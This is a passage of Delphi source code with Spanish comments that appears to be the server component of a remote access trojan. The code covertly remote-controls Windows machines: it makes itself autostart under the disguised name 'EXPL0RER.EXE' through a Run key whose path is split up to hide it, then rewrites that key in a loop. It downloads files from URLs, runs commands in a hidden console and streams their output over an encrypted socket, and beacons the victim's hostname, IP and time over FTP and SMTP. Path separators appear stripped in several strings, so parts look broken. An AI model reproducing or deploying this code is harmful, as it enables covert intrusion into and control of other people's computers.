  1584.       TokenPrivs.Privileges[0].Attributes := Attributes;
  1585.    end;
  1586.    if (AdjustTokenPrivileges(TokenHdl,False,TokenPrivs,SizeOf(TokenPrivsNew),TokenPrivsNew,RetC) = False) then exit;
  1587. end;
  1588.     ///////////////////////////////////////////////////////////////////////////////
  1589. function Descargar( url : String; Parametro2: String  ): boolean;
  1590. var buffer : array [ 1..1024 ] of char;
  1591.     bytes_leidos : dword;
  1592.     hInternetOpen, hFile : HINTERNET;
  1593.     oops                 : boolean;
  1594.     a : FILE;
  1595. begin
  1596.      Result := FALSE;
  1597.      hInternetOpen := InternetOpen( 'Master', INTERNET_OPEN_TYPE_PRECONFIG, '', '', 0 );
  1598.      if hInternetOpen = nil then  exit;
  1599.      hFile:= InternetOpenURL( hInternetOpen, lptstr( url ), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0 );
  1600.      if hfile = nil then
  1601.      begin
  1602.           InternetCloseHandle( hInternetOpen );
  1603.           Exit;
  1604.      end;
  1605.      AssignFile( a, Parametro2 );
  1606.      try Rewrite( a, 1 ); except end;
  1607.      repeat
  1608.            oops := not InternetReadFile( hFile, @buffer, sizeOf( buffer ), bytes_leidos );
  1609.            if ( not oops ) and ( bytes_leidos > 0 ) then
  1610.            begin
  1611.                 BlockWrite( a, buffer, bytes_leidos );
  1612.            end;
  1613.      until ( oops ) or ( Bytes_Leidos = 0 );
  1614.      CloseFile( a );
  1615.      Result := not Oops;
  1616.      InternetCloseHandle( hInternetOpen );
  1617.      InternetCloseHandle( hFile );
  1618. end;
  1619.    ///////////////////////////////////////////////////////////////////////////////
  1620. function EsXP : Boolean;
  1621. begin
  1622.      Result := FileExists( FindWindowsDir + 'System32Cmd.exe' );
  1623. end;
  1624.    ///////////////////////////////////////////////////////////////////////////////
  1625. function BuffToStr(const b: Array of Char ) : string;
  1626. var i : Integer;
  1627. begin
  1628.      for i := Low( b )to High( b ) do
  1629.          Result := Result + b[ i ];
  1630. end;
  1631. function TextoValido( b : Array of Char ) : string;
  1632. var i : Byte;
  1633. begin
  1634.      i := 1;
  1635.      while ord( b [ i ] ) <> 0 do
  1636.            Inc( i );
  1637.      Result := Copy( b, 1, i );
  1638. end;
  1639.     ///////////////////////////////////////////////////////////////////////////////
  1640. function NombreHost: String;
  1641. var  NameBuf: array[0..60] of Char;
  1642.      SizeBuf: LongWord;
  1643. //retorna el host
  1644. begin
  1645.      SizeBuf := SizeOf( NameBuf );
  1646.      GetComputerName(NameBuf, SizeBuf );
  1647.      Result  := NameBuf;
  1648. end;
  1649.    ///////////////////////////////////////////////////////////////////////////////
  1650. function Usuario: String;
  1651. //retorna el usuario logeado
  1652. var  NameBuf: array[ 0..60 ] of Char;
  1653.      SizeBuf: LongWord;
  1654. begin
  1655.      SizeBuf := Sizeof( NameBuf );
  1656.      GetUserName( NameBuf, SizeBuf );
  1657.      Result  := NameBuf ;
  1658. end;
  1659.     ///////////////////////////////////////////////////////////////////////////////
  1660. function VentanaActiva: String;
  1661. var  PC: Array[0..$FFF] of Char;
  1662.      Wnd : Thandle;
  1663. begin
  1664.     Wnd := GetForegroundWindow;
  1665.     SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
  1666.     Result := PC;
  1667. end;
  1668.   ///////////////////////////////////////////////////////////////////////////////
  1669. function FindWindowsDir : string;
  1670. //retorna el directorio de windows
  1671. var  DataSize : Integer;
  1672. begin
  1673.      SetLength (Result, 255);
  1674.      DataSize := GetWindowsDirectory(PChar (Result), 255);
  1675.      SetLength (Result, DataSize);
  1676. end;
  1677.    ///////////////////////////////////////////////////////////////////////////////
  1678. function Get_SysPath:string  ;
  1679. var       DataSize : Integer;
  1680.     begin
  1681.      SetLength (Result, 255);
  1682.        GetSystemDirectory( PChar(Result),255);
  1683.  end;
  1684.  function FindChar(Word: string;char : string):integer  ;
  1685.       var
  1686.       i : integer ;
  1687.      begin
  1688.       for i:= 1 to  Length(Word) do begin
  1689.          if  (copy(Word,i,1)=char ) then begin
  1690.             result:=i;
  1691.             exit;
  1692.          end;
  1693.       end;
  1694.  end;
  1695.     ///////////////////////////////////////////////////////////////////////////////
  1696.    function FindNChars(Word: string;char : string):integer  ;
  1697.         var i, r : integer  ;
  1698.        begin
  1699.             r:=0;
  1700.            for i:=1 to Length(Word) do begin
  1701.             if  (copy(Word,i,1)=char ) then begin
  1702.               inc(r);
  1703.             end;
  1704.            end;
  1705.            result:=r;
  1706.        end;
  1707.     ///////////////////////////////////////////////////////////////////////////////
  1708.  function LocalIP: String;
  1709. type
  1710. TaPInAddr = Array[0..10] of PInAddr;
  1711. PaPInAddr = ^TaPInAddr;
  1712. var
  1713. phe: PHostEnt;
  1714. pptr: PaPInAddr;
  1715. Buffer: Array[0..63] of Char;
  1716. I: Integer;
  1717. GInitData: TWSAData;
  1718. begin
  1719. WSAStartup($101, GInitData);
  1720. Result := '';
  1721. GetHostName(Buffer, SizeOf(Buffer));
  1722. phe := GetHostByName(buffer);
  1723. if phe = nil then Exit;
  1724. pPtr := PaPInAddr(phe^.h_addr_list);
  1725. I := 0;
  1726. while pPtr^[I] <> nil do
  1727. begin
  1728. Result := inet_ntoa(pptr^[I]^);
  1729. Inc(I);
  1730. end;
  1731. WSACleanup;
  1732. end;
  1733.   ///////////////////////////////////////////////////////////////////////////////
  1734. procedure Registro;
  1735. var handle : HKEY;
  1736.  key : integer;
  1737. begin
  1738.      while TRUE do
  1739.      begin
  1740.      if regdata='' then begin
  1741.        regdata:='EXPLORER';
  1742.      end;
  1743.      if  regappname= '' then begin
  1744.      regappname:='EXPL0RER.EXE';
  1745.      end;
  1746.      if (regkey='') or(regkey='1') then begin
  1747.      key :=   DWORD($80000002) ;
  1748.      end;
  1749.      if regkey='2' then begin
  1750.      key :=   DWORD($80000001) ;
  1751.      end;
  1752.      if regkey='3' then begin
  1753.      end;
  1754.           RegOpenKeyEx( key,
  1755.                         PChar( Clave ),
  1756.                         0,
  1757.                         KEY_ALL_ACCESS,
  1758.                         handle );
  1759.           RegSetValueEx( handle,
  1760.                          PChar(regdata),
  1761.                          0,
  1762.                          REG_SZ,
  1763.                          PChar(regappname ),
  1764.                          Length(regappname ) + 1 );
  1765.           RegCloseKey( handle );
  1766.               Sleep( 1500 );
  1767.      end;
  1768. end;
  1769.    ///////////////////////////////////////////////////////////////////////////////
  1770. procedure CrearThreadRegistro (key : string; data : string; appname : string);
  1771. var  id : Cardinal;
  1772. begin
  1773.      Clave := 'Software';
  1774.      Clave := Clave + 'Microsoft';
  1775.      Clave := Clave + 'Windows';
  1776.      Clave := Clave + 'CurrentVers';
  1777.      Clave := Clave + 'ionRun';
  1778.      regkey:=key;
  1779.      regdata:=data;
  1780.      appname:=regappname;
  1781.      BeginThread( nil, 0, @Registro, nil, 0, id );
  1782. end;
  1783.    ///////////////////////////////////////////////////////////////////////////////
  1784. function ShellEx(Path : string):string;
  1785.  begin
  1786.  if FileExists(Path)=true then begin
  1787.  ShellExecute(0, 'open',Pchar(Path),0 ,0,1);
  1788.  Result:='File :' +  Path  + ' Executed'
  1789.  end
  1790.  else
  1791.  begin
  1792.     Result:='File :' +  Path  + ' Doesnt exists'
  1793.  end;
  1794.  end;
  1795.    ///////////////////////////////////////////////////////////////////////////////
  1796.       function Replace(strSource:string; strToFind:string; strReplace:string): string;
  1797.     var sresult:string; i:integer;
  1798.     begin
  1799.     i:=1;
  1800.     while i<=length(strSource) do
  1801.     begin
  1802.     if copy(strSource,i,length(strToFind)) = strToFind then
  1803.     begin
  1804.     sresult := sresult + strReplace;
  1805.     i:=i+length(strToFind);
  1806.     end
  1807.     else
  1808.     begin
  1809.     sresult := sresult + copy(strSource,i,1);
  1810.     i:=i+1;
  1811.     end;
  1812.     end;
  1813.     result := sresult
  1814.     end;
  1815.    ///////////////////////////////////////////////////////////////////////////////
  1816. function SendData (SOCKET : TSOCKET;Data :string): integer;
  1817. const
  1818. my_key = 35311;
  1819. begin
  1820. Data := Encrypt (data,my_key);
  1821. result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0  );
  1822. sleep(100);
  1823. end ;
  1824. function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
  1825. begin
  1826. result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0  );
  1827. sleep(100);
  1828. end ;
  1829.    ///////
  1830.    ///////////////////////////////////////////////////////////////////////////////
  1831.  function PeerToAddress(Socket: TSocket): string;
  1832. var
  1833.   SockAddrIn: TSockAddrIn;
  1834.   Len: integer;
  1835. begin
  1836.   if Socket <> INVALID_SOCKET then
  1837.     begin
  1838.       Len:= SizeOf(SockAddrIn);
  1839.       if getpeername(Socket, SockAddrIn, Len) <> SOCKET_ERROR then
  1840.         Result:= inet_ntoa(SockAddrIn.sin_addr);
  1841.     end;
  1842. end;
  1843.    ///////////////////////////////////////////////////////////////////////////////
  1844. function GetLocalHostName: string;
  1845. var
  1846.   szHostName: array[0..128] of char;
  1847. begin
  1848.   if gethostname(szHostName, 128) = 0 then
  1849.     Result:= szHostName
  1850.   else
  1851. end;
  1852.   function WinVer: string;
  1853. var
  1854. VersionInfo: TOSVersionInfo;
  1855. begin
  1856. VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
  1857. GetVersionEx(VersionInfo);
  1858. with VersionInfo do 
  1859. begin 
  1860. case dwPlatformid of
  1861. 0 : begin
  1862. result := 'Windows System:   '+'3.11';
  1863. end;
  1864. 1 : begin
  1865. case dwMinorVersion of
  1866. 0 : result := 'Windows System:   '+'95';
  1867. 10: begin
  1868. if ( szCSDVersion[ 1 ] = 'A' ) then
  1869. Result := 'Windows System:   '+'98 SE'
  1870. else
  1871. Result := 'Windows System:   '+'98';
  1872. end;
  1873. 90 : result := 'Windows System:   '+'Millenium';
  1874. else
  1875. result := 'Windows System:   '+'Unknown';
  1876. end;
  1877. end;
  1878. 2 : begin
  1879. case dwMajorVersion of
  1880. 3 : result := 'Windows System:   '+'Windows NT';
  1881. 4 : result := 'Windows System:   '+'XP';
  1882. 5 : begin
  1883. case dwMinorVersion of
  1884. 0 : result := 'Windows System:   '+'2000';
  1885. 1 : result := 'Windows System:   '+'Whistler';
  1886. else
  1887. result := 'Windows System:   '+'Unknown';
  1888. end;
  1889. if szCSDVersion <> '' then
  1890. result := result + ' + Service pack: ' + szCSDVersion;
  1891. end;
  1892. else
  1893. result := 'Windows Platform: '+'Unknown';
  1894. end; // end case
  1895. end; // end case
  1896. end; // end case
  1897. end; // end version info
  1898. end; // GetWindowsVersion
  1899.    ///////////////////////////////////////////////////////////////////////////////
  1900.  function LIST( dir : string ): string;
  1901. var sr: WIN32_FIND_DATA;
  1902.     retval: integer;
  1903.     sigue : longbool;
  1904.     size  : cardinal;
  1905.     tipo  : string;
  1906.     Ret   : String;
  1907.     Nfiles: integer;
  1908.     files : string;
  1909.    F :file of char;
  1910.    i : integer;
  1911.    c : char;
  1912. begin
  1913.     files:='';
  1914.   // SendData(socket, ( '9^'+ 'Listing Dir:' + Copy( Dir, 1, Length( Dir ) - 3 )  ) + '^');
  1915.      tipo   := '';
  1916.      Ret    := 'LIST ' + Copy( Dir, 1, Length( Dir ) - 3 );
  1917.      retval := FindFirstFile( PChar( dir ), sr );
  1918.      sigue  := true;
  1919.      if retval <> -1 then
  1920.      begin
  1921.           while sigue do
  1922.           begin
  1923.               tipo     := '';
  1924.               size := 0;
  1925.               if (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 then
  1926.                  tipo:='d'
  1927.               else
  1928.                   begin
  1929.                   if (sr.nFileSizeHigh <> 0) then
  1930.                          size := (((sr.nFileSizeHigh * 32) + sr.nFileSizeLow) div 1024)
  1931.                       else
  1932.                          size := (sr.nFileSizeLow) div 1024;
  1933.                   end;
  1934.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) > 0 then
  1935.              begin
  1936.                   if Tipo <> '' then
  1937.                      Tipo := Tipo + '-';
  1938.                   tipo:= tipo + 'system';
  1939.              end;
  1940.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) > 0 then
  1941.              begin
  1942.                   if Tipo <> '' then
  1943.                      Tipo := Tipo + '-';
  1944.                   tipo:= tipo + 'file';
  1945.              end;
  1946.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_NORMAL) > 0 then
  1947.              begin
  1948.                   if Tipo <> '' then
  1949.                      Tipo := Tipo + '-';
  1950.                   tipo:= tipo + 'normal';
  1951.              end;
  1952.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_TEMPORARY) > 0 then
  1953.              begin
  1954.                   if Tipo <> '' then
  1955.                      Tipo := Tipo + '-';
  1956.                   tipo:= tipo + 'temp';
  1957.              end;
  1958.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) > 0 then
  1959.              begin
  1960.                   if Tipo <> '' then
  1961.                      Tipo := Tipo + '-';
  1962.                   tipo:= tipo + 'hidden';
  1963.              end;
  1964.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_READONLY) > 0 then
  1965.              begin
  1966.                    if Tipo <> '' then
  1967.                       Tipo := Tipo + '-';
  1968.                    tipo:= tipo + 'Only read';
  1969.              end;
  1970.              Ret:='' +  sr.cFileName  +  '>' + IntToStr( size ) +  '>' + tipo + '>' +  '*';
  1971.                files :=files + Ret;
  1972.             //  sleep(10);
  1973.            //  SendData(socket, '1' + '^' +  Ret  + '^');
  1974.                 { if Nfiles >100 then begin
  1975.                                 sleep (200);
  1976.               SendData(socket, '1' + '^' +  files  + '^');
  1977.               sleep (200);
  1978.                     files:='';
  1979.                      Nfiles:=0;
  1980.                  end;  }
  1981.               sigue := FindNextFile( retval, sr );
  1982.           end;
  1983.      end;
  1984.             {  sleep (200);
  1985.               SendData(socket, '1' + '^' +  files  + '^');
  1986.               sleep (200);      }
  1987.                  Nfiles:= findNchars(files,'*');
  1988.      result:=inttostr(Nfiles) + '*' + Files;
  1989. end;
  1990.     ///////////////////////////////////////////////////////////////////////////////
  1991.   function StrPos(const Str1, Str2: PChar): PChar; assembler;
  1992. asm
  1993.         PUSH    EDI
  1994.         PUSH    ESI
  1995.         PUSH    EBX
  1996.         OR      EAX,EAX
  1997.         JE      @@2
  1998.         OR      EDX,EDX
  1999.         JE      @@2
  2000.         MOV     EBX,EAX
  2001.         MOV     EDI,EDX
  2002.         XOR     AL,AL
  2003.         MOV     ECX,0FFFFFFFFH
  2004.         REPNE   SCASB
  2005.         NOT     ECX
  2006.         DEC     ECX
  2007.         JE      @@2
  2008.         MOV     ESI,ECX
  2009.         MOV     EDI,EBX
  2010.         MOV     ECX,0FFFFFFFFH
  2011.         REPNE   SCASB
  2012.         NOT     ECX
  2013.         SUB     ECX,ESI
  2014.         JBE     @@2
  2015.         MOV     EDI,EBX
  2016.         LEA     EBX,[ESI-1]
  2017. @@1:    MOV     ESI,EDX
  2018.         LODSB
  2019.         REPNE   SCASB
  2020.         JNE     @@2
  2021.         MOV     EAX,ECX
  2022.         PUSH    EDI
  2023.         MOV     ECX,EBX
  2024.         REPE    CMPSB
  2025.         POP     EDI
  2026.         MOV     ECX,EAX
  2027.         JNE     @@1
  2028.         LEA     EAX,[EDI-1]
  2029.         JMP     @@3
  2030. @@2:    XOR     EAX,EAX
  2031. @@3:    POP     EBX
  2032.         POP     ESI
  2033.         POP     EDI
  2034. end;
  2035.     ///////////////////////////////////////////////////////////////////////////////
  2036.  function split (text : string;char : string; num : integer):string;
  2037.  var
  2038.  Data : string;
  2039.  Temp: string;
  2040.  TmpDada ,COMD, PARM1 ,PARM2 : string ;
  2041.  i : integer;
  2042. begin
  2043. Data:=text;
  2044.      TmpDada:= copy(Data,1,length(Data));
  2045.          for i := 0 to findnchars(text,char)  do begin
  2046.    COMD:=copy(TmpDada,1,FindChar(TmpDada,char)-1);
  2047.    TmpDada:= copy(TmpDada,length(COMD)+1+1,length(TmpDada) );
  2048.                if i = num then begin
  2049.              Result:=COMD;
  2050.              exit;
  2051.                end;
  2052.            end;
  2053. end;
  2054.    ///////////////////////////////////////////////////////////////////////////////
  2055.   function GetLocalPath:string;
  2056.     var
  2057.    i,a : integer;
  2058.    data : string;
  2059.   begin
  2060.      i:= findNchars(ParamStr( 0 ),'');
  2061.       for a:= 0 to i-1 do begin
  2062.         data:=data   + split( ParamStr( 0 ),'',a) + '';
  2063.       end;
  2064.      result:=data;
  2065.   end;
  2066.   ///////////////////////////////////////////////////////////////////////////////
  2067.   const FIN  = #13+#10;
  2068. procedure SendEMAIL(SMTP : string; EMAIL:string; MyEMAIL:string);
  2069.     var Addr      : TSockAddr;
  2070.     Sock      : TSocket;
  2071.     TypeBlock : Integer;
  2072.     HostEnt: PHostEnt;
  2073.   begin
  2074.      with addr do
  2075.      begin
  2076.           sin_family      := AF_INET;
  2077.           sin_port        := htons( 25 );
  2078.           sin_addr.S_addr := Inet_Addr( PCHAR(SMTP)  );
  2079.      end;
  2080.      if addr.sin_addr.s_addr = -1 then
  2081.         begin
  2082.         HostEnt := GetHostByName(PChar(SMTP));
  2083.         if HostEnt = nil then
  2084.         begin
  2085.         Exit;
  2086.         end;
  2087.         addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  2088.         end;
  2089.      //creo el socket con el que me voy a conectar al servidor smtp
  2090.      Sock := Socket( AF_INET, SOCK_STREAM, 0 );
  2091.      //lo pongo para que se quede bloqueado cuando leo o escribo en el socket
  2092.      TypeBlock := 0;
  2093.      ioctlsocket( Sock, FIONBIO, TypeBlock );
  2094.      //intento la conexion, si connect devuelve 0 entonces estamos conectados
  2095.      if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
  2096.      begin
  2097.       //Result := TRUE;
  2098.          SendData( sock,'helo test' + FIN );
  2099.           sleep(100);
  2100.           //mail from: es para decir quien es el que manda el mail
  2101.       SendData( sock,'mail from: ' + MyEMAIL +  FIN );
  2102.            sleep(100);
  2103.           //rcpt to: es para decir quien recibe el mail
  2104.         SendData( sock,'rcpt to: ' + EMAIL + FIN );
  2105.               sleep(100);
  2106.           //data es para indicarle al server que lo que sigue es el cuerpo del mail
  2107.         SendData( sock,'data' + FIN );
  2108.             sleep(100);
  2109. SendData( sock,'from: ' + MyEMAIL + FIN  ) ;
  2110.       sleep(100);
  2111.  SendData( sock,'to:' +  EMAIL + FIN );
  2112.         sleep(100);
  2113.  SendData( sock,'subject: '+ 'testing' + LocalIP   + FIN);
  2114.                  sleep(100);
  2115.    // el punto ".", es para decirle al server que el cuerpo del mail termino
  2116. SendData( sock,'.' + FIN );
  2117.              sleep(500);
  2118.          
  2119.       SendData( sock, 'quit' + FIN );
  2120.       Sleep(500);
  2121.     end
  2122.     else
  2123.        // Result := FALSE;
  2124.     CloseSocket( Sock );
  2125. end;
  2126.    ///////////////////////////////////////////////////////////////////////////////
  2127. procedure EnviarSalidaAlCliente( const path: String );
  2128. var a     : TextFile;
  2129.     Linea : String;
  2130. begin
  2131.      try
  2132.         AssignFile( a, path );
  2133.         FileMode := 0;
  2134.         Reset( a );
  2135.         while not Eof( a ) do
  2136.         begin
  2137.         ReadLn( a, Linea );
  2138.           SendData (ConsoleSocket, '33' + linea);
  2139.        //  messagebox( 0,pchar(linea),'',0);
  2140.         end;
  2141.         CloseFile( a );
  2142.      except
  2143.      end;
  2144. end;
  2145.     ///////////////////////////////////////////////////////////////////////////////
  2146. procedure Consola;
  2147. var  pApp,pOut   : array[ 0..MAX_PATH ] of Char;
  2148.      pathOut     : String;
  2149.      StartupInfo : TStartupInfo;
  2150.      ProcessInfo : TProcessInformation;
  2151.      SecAtrrs    : TSecurityAttributes;
  2152.      result      : boolean;
  2153.      hAppProcess, hAppThread, hOut: THandle;
  2154. begin
  2155.      pathOut := FindWindowsDir + 'tempout.txt';
  2156.      Result := FALSE;
  2157.      if EsXp then
  2158.         ConsolaApp := FindWindowsDir + 'System32cmd.exe /C ' + ConsolaApp
  2159.      else
  2160.         ConsolaApp := FindWindowsDir + 'command.com /C ' + ConsolaApp;
  2161.      StrPCopy( pApp, ConsolaApp );
  2162.      StrPCopy( pOut, pathOut );
  2163.      try
  2164.         FillChar( SecAtrrs, SizeOf( SecAtrrs ), #0 );
  2165.         SecAtrrs.nLength  := SizeOf( SecAtrrs );
  2166.         SecAtrrs.lpSecurityDescriptor := nil;
  2167.         SecAtrrs.bInheritHandle := True;
  2168.         hOut := CreateFile( pOut, GENERIC_READ or GENERIC_WRITE,
  2169.                             FILE_SHARE_READ or FILE_SHARE_WRITE,
  2170.                             @SecAtrrs, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, 0 );
  2171.         if hOut = INVALID_HANDLE_VALUE then
  2172.            Exit;
  2173.         FillChar( StartupInfo, SizeOf( StartupInfo ), #0 );
  2174.         StartupInfo.cb          := SizeOf( StartupInfo );
  2175.         StartupInfo.dwFlags     := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
  2176.         StartupInfo.wShowWindow := SW_HIDE;
  2177.         StartupInfo.hStdOutput  := hOut;
  2178.         Result := CreateProcess( nil, pApp, nil, nil, True,
  2179.                                  CREATE_NEW_CONSOLE or REALTIME_PRIORITY_CLASS,
  2180.                                  nil, nil, StartupInfo, ProcessInfo );
  2181.         if Result then
  2182.         begin
  2183.              WaitForSingleObject( ProcessInfo.hProcess, INFINITE );
  2184.              hAppProcess := ProcessInfo.hProcess;
  2185.              hAppThread  := ProcessInfo.hThread;
  2186.         end;
  2187.         finally
  2188.             if hOut <> 0 then
  2189.                CloseHandle( hOut );
  2190.             if hAppThread  <> 0 then
  2191.                CloseHandle( hAppThread );
  2192.             if hAppProcess <> 0 then
  2193.                CloseHandle( hAppProcess );
  2194.             EnviarSalidaAlCliente  ( pathOut);
  2195.     end;
  2196. end;
  2197.     ///////////////////////////////////////////////////////////////////////////////
  2198. procedure LanzarProgramaConsola(App: string; c: Boolean; socket : tsocket);
  2199. var  id : cardinal;
  2200. begin
  2201.      Esconsola  := c;
  2202.      ConsolaApp := App;
  2203.      ConsoleSocket:= socket;
  2204.      BeginThread(nil, 0, @ShellCode, nil, 0, id );
  2205. end;
  2206.     ///////////////////////////////////////////////////////////////////////////////
  2207.  procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
  2208.     var Addr      : TSockAddr;
  2209.     Sock      : TSocket;
  2210.     TypeBlock : Integer;
  2211.     HostEnt: PHostEnt;
  2212.   begin
  2213.      with addr do
  2214.      begin
  2215.           sin_family      := AF_INET;
  2216.           sin_port        := htons( Port );
  2217.           sin_addr.S_addr := Inet_Addr( PCHAR(Host)  );
  2218.      end;
  2219.      if addr.sin_addr.s_addr = -1 then
  2220.         begin
  2221.         HostEnt := GetHostByName(PChar(Host));
  2222.         if HostEnt = nil then
  2223.         begin
  2224.         // frmMain.MainMsg.ShowMessage('Failed Sended!');
  2225.         Exit;
  2226.         end;
  2227.         addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  2228.         end;
  2229.      //creo el socket con el que me voy a conectar al servidor FTP
  2230.      Sock := Socket( AF_INET, SOCK_STREAM, 0 );
  2231.      //lo pongo para que se quede bloqueado cuando leo o escribo en el socket
  2232.      TypeBlock := 0;
  2233.      ioctlsocket( Sock, FIONBIO, TypeBlock );
  2234.      //intento la conexion, si connect devuelve 0 entonces estamos conectados
  2235.      if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
  2236.      begin
  2237.       //Result := TRUE;
  2238.       SendData (sock, 'USER ' + User+ #13#10);
  2239.       Sleep(100);
  2240.     SendData (Sock, 'PASS ' + PASS + #13#10);
  2241.     Sleep(100);
  2242.     if Dir<>''then begin
  2243.     SendData (Sock, 'CWD ' +  Dir + #13#10);
  2244.     end;
  2245.     Sleep(100);
  2246.     SendData (Sock, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
  2247.     Sleep(100) ;
  2248.     SendData (sock, 'QUIT' + #13#10);
  2249.     Sleep(500);
  2250.    // frmMain.MainMsg.ShowMessage('FTP Notification Sended!');
  2251.     end
  2252.     else
  2253.     begin
  2254.        // Result := FALSE;
  2255.         CloseSocket( Sock );
  2256.        // frmMain.MainMsg.ShowMessage('Failed Sended!');
  2257.     end;
  2258. end;
  2259.     const
  2260.  C1 = 52845;
  2261.  C2 = 22719;
  2262. function Decode(const S: AnsiString): AnsiString;
  2263. const
  2264.   Map: array[Char] of Byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2265.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2266.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0, 63, 52, 53,
  2267.     54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2,
  2268.     3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
  2269.     20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, 29, 30,
  2270.     31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
  2271.     46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2272.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2273.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2274.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2275.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2276.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2277.     0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  2278.     0);
  2279. var
  2280.   I: LongInt;
  2281. begin
  2282.   case Length(S) of
  2283.     2:
  2284.       begin
  2285.         I := Map[S[1]] + (Map[S[2]] shl 6);
  2286.         SetLength(Result, 1);
  2287.         Move(I, Result[1], Length(Result))
  2288.       end;
  2289.     3:
  2290.       begin
  2291.         I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12);
  2292.         SetLength(Result, 2);
  2293.         Move(I, Result[1], Length(Result))
  2294.       end;
  2295.     4:
  2296.       begin
  2297.         I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12) +
  2298.           (Map[S[4]] shl 18);
  2299.         SetLength(Result, 3);
  2300.         Move(I, Result[1], Length(Result))
  2301.       end
  2302.   end
  2303. end;
  2304. function PreProcess(const S: AnsiString): AnsiString;
  2305. var
  2306.   SS: AnsiString;
  2307. begin
  2308.   SS := S;
  2309.   Result := '';
  2310.   while SS <> '' do
  2311.   begin
  2312.     Result := Result + Decode(Copy(SS, 1, 4));
  2313.     Delete(SS, 1, 4)
  2314.   end
  2315. end;
  2316. function InternalDecrypt(const S: AnsiString; Key: Word): AnsiString;
  2317. var
  2318.   I: Word;
  2319.   Seed: Word;
  2320. begin
  2321.   Result := S;
  2322.   Seed := Key;
  2323.   for I := 1 to Length(Result) do
  2324.   begin
  2325.     Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
  2326.     Seed := (Byte(S[I]) + Seed) * Word(C1) + Word(C2)
  2327.   end
  2328. end;
  2329. function Decrypt(const S: AnsiString; Key: Word): AnsiString;
  2330. begin
  2331.   Result := InternalDecrypt(PreProcess(S), Key)
  2332. end;
  2333. function Encode(const S: AnsiString): AnsiString;
  2334. const
  2335.   Map: array[0..63] of Char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
  2336.     'abcdefghijklmnopqrstuvwxyz0123456789+/';
  2337. var
  2338.   I: LongInt;
  2339. begin
  2340.   I := 0;
  2341.   Move(S[1], I, Length(S));
  2342.   case Length(S) of
  2343.     1:
  2344.       Result := Map[I mod 64] + Map[(I shr 6) mod 64];
  2345.     2:
  2346.       Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
  2347.         Map[(I shr 12) mod 64];
  2348.     3:
  2349.       Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
  2350.         Map[(I shr 12) mod 64] + Map[(I shr 18) mod 64]
  2351.   end
  2352. end;
  2353. function PostProcess(const S: AnsiString): AnsiString;
  2354. var
  2355.   SS: AnsiString;
  2356. begin
  2357.   SS := S;
  2358.   Result := '';
  2359.   while SS <> '' do
  2360.   begin
  2361.     Result := Result + Encode(Copy(SS, 1, 3));
  2362.     Delete(SS, 1, 3)
  2363.   end
  2364. end;
  2365. function InternalEncrypt(const S: AnsiString; Key: Word): AnsiString;
  2366. var
  2367.   I: Word;
  2368.   Seed: Word;
  2369. begin
  2370.   Result := S;
  2371.   Seed := Key;
  2372.   for I := 1 to Length(Result) do
  2373.   begin
  2374.     Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
  2375.     Seed := (Byte(Result[I]) + Seed) * Word(C1) + Word(C2)
  2376.   end
  2377. end;
  2378. function Encrypt(const S: AnsiString; Key: Word): AnsiString;
  2379. begin
  2380.   Result := PostProcess(InternalEncrypt(S, Key))
  2381. end;
  2382.   function Noclose(value : integer): string;
  2383. var h : HKEY;
  2384.     i : Integer;
  2385.     TmpInt: Integer;
  2386. BufSize: Integer;
  2387.  DataType: Integer;
  2388. begin
  2389.       BufSize := SizeOf(TmpInt);
  2390.    DataType := REG_DWORD ;
